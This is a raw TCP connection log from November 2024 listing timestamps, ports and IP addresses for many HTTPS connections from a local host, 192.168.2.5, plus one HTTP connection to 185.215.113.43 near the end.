Nov 24, 2024 04:22:55.854830980 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.854830980 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.854871988 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.855024099 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.855047941 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.855096102 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.856946945 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.856981039 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.857045889 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.857146025 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.857158899 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.937154055 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:55.937268019 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:55.937376976 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:55.937766075 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:55.937804937 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:55.956589937 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.956612110 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.956681013 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.956700087 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.956746101 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.956933022 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.956937075 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.956954956 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.957084894 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.957109928 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.957150936 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.959332943 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.959353924 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.959422112 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.959534883 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.959543943 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.317759991 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.318303108 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.318382978 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.318746090 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.318763018 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.396501064 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.397044897 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.397073030 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.397423029 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.397428989 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.631874084 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.632668972 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.632772923 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.633054972 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.633069992 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.634378910 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.634725094 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.634757996 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.635469913 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.635484934 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.744586945 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:57.744689941 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:57.747886896 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:57.747919083 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:57.748151064 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:57.756545067 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:57.763026953 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.763044119 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.763111115 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.763145924 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.764110088 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.764164925 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.764204979 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.764204979 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.764226913 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.764242887 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.766400099 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.766434908 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.766505957 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.766616106 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.766633034 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.799336910 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:57.829866886 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.833595991 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.836740971 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.854893923 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.854960918 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.855019093 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.855036974 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.858941078 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.858985901 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.859051943 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.859184980 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.859195948 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.867744923 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.868355989 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.868376970 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:57.868766069 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:57.868771076 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.074460030 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.077374935 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.077687979 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.077780008 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.080806017 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.084733963 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.232645988 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.232645988 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.232726097 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.232764006 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.233536959 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.233573914 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.233601093 CET	49794	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.233608007 CET	443	49794	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.236787081 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.236845016 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.236912966 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.237375021 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.237396002 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.237963915 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.238065004 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.238132000 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.238246918 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.238281012 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.319248915 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.322266102 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.323848009 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.323955059 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.323971033 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.323982000 CET	49796	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.323987007 CET	443	49796	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.326889038 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.326992035 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.327236891 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.327434063 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:58.327471018 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:58.463886976 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.463953972 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.463999987 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.464026928 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:58.464078903 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.464140892 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:58.464140892 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:58.500960112 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.501020908 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.501048088 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:58.501084089 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.501097918 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:58.501204014 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:58.501211882 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.501230955 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:58.501235962 CET	49795	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:58.501255035 CET	443	49795	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:59.553195953 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.553682089 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:59.553716898 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.554147005 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:59.554157019 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.643090010 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.643651962 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:59.643667936 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.644061089 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:59.644066095 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.984185934 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.987412930 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:59.987489939 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.987766027 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:59.987783909 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.996452093 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:59.999752045 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.002938032 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.005531073 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.005531073 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.005578995 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.005614042 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.008475065 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.008553028 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.008708000 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.008883953 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.008913994 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.026204109 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.026679039 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.026710987 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.027087927 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.027101040 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.047544956 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.047910929 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.047971964 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.048273087 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.048290014 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.086643934 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.089777946 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.089891911 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.089922905 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.089935064 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.089951038 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.089955091 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.092670918 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.092708111 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.092991114 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.093123913 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.093136072 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.419820070 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.422871113 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.422976971 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.423041105 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.423041105 CET	49800	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.423078060 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.423099995 CET	443	49800	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.425503016 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.425569057 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.425656080 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.425793886 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.425811052 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.469324112 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.472806931 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.472918034 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.473004103 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.473004103 CET	49799	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.473062992 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.473094940 CET	443	49799	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.475462914 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.475517035 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.475596905 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.475734949 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.475754023 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.480508089 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.483751059 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.483825922 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.483880997 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.483896017 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.483906031 CET	49801	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.483911991 CET	443	49801	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.486213923 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.486263037 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:00.486344099 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.486468077 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:00.486481905 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:01.881511927 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:01.884478092 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:01.884517908 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:01.884905100 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:01.884913921 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.032841921 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.033313036 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.033355951 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.033752918 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.033765078 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.193280935 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.193703890 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.193743944 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.194236040 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.194242954 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.306926012 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.307372093 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.307401896 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.307811975 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.307818890 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.326373100 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.329464912 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.329528093 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.329617977 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.329617977 CET	49802	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.329659939 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.329725027 CET	443	49802	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.332029104 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.332084894 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.332164049 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.332269907 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.332283974 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.347986937 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.348356009 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.348371983 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.348771095 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.348777056 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.485363960 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.488631010 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.488687038 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.488702059 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.488743067 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.489160061 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.489188910 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.489203930 CET	49803	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.489211082 CET	443	49803	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.497991085 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.498043060 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.498141050 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.498780012 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.498809099 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.627044916 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.630341053 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.630399942 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.630424976 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.630475998 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.630739927 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.630764008 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.630789995 CET	49805	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.630798101 CET	443	49805	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.633274078 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.633330107 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.633399010 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.633537054 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.633553028 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.761559963 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.761677980 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.761764050 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.785500050 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.785530090 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.785542965 CET	49804	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.785548925 CET	443	49804	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.800612926 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.800705910 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.800770044 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.802064896 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.802074909 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.822046041 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.822103977 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.822190046 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.830238104 CET	49810	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.830274105 CET	443	49810	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.838702917 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.838764906 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:02.838851929 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.838984966 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:02.839006901 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.046103954 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.048501968 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.048584938 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.048932076 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.048950911 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.203270912 CET	49812	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:04.216698885 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.217092991 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.217127085 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.217529058 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.217539072 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.322884083 CET	80	49812	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:04.322972059 CET	49812	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:04.323147058 CET	49812	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:04.426573992 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.427156925 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.427192926 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.427593946 CET	49809	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.427603960 CET	443	49809	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.442612886 CET	80	49812	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:04.480190039 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.483351946 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:04.483458042 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:04.483678102 CET	49807	443	192.168.2.5	13.107.246.63
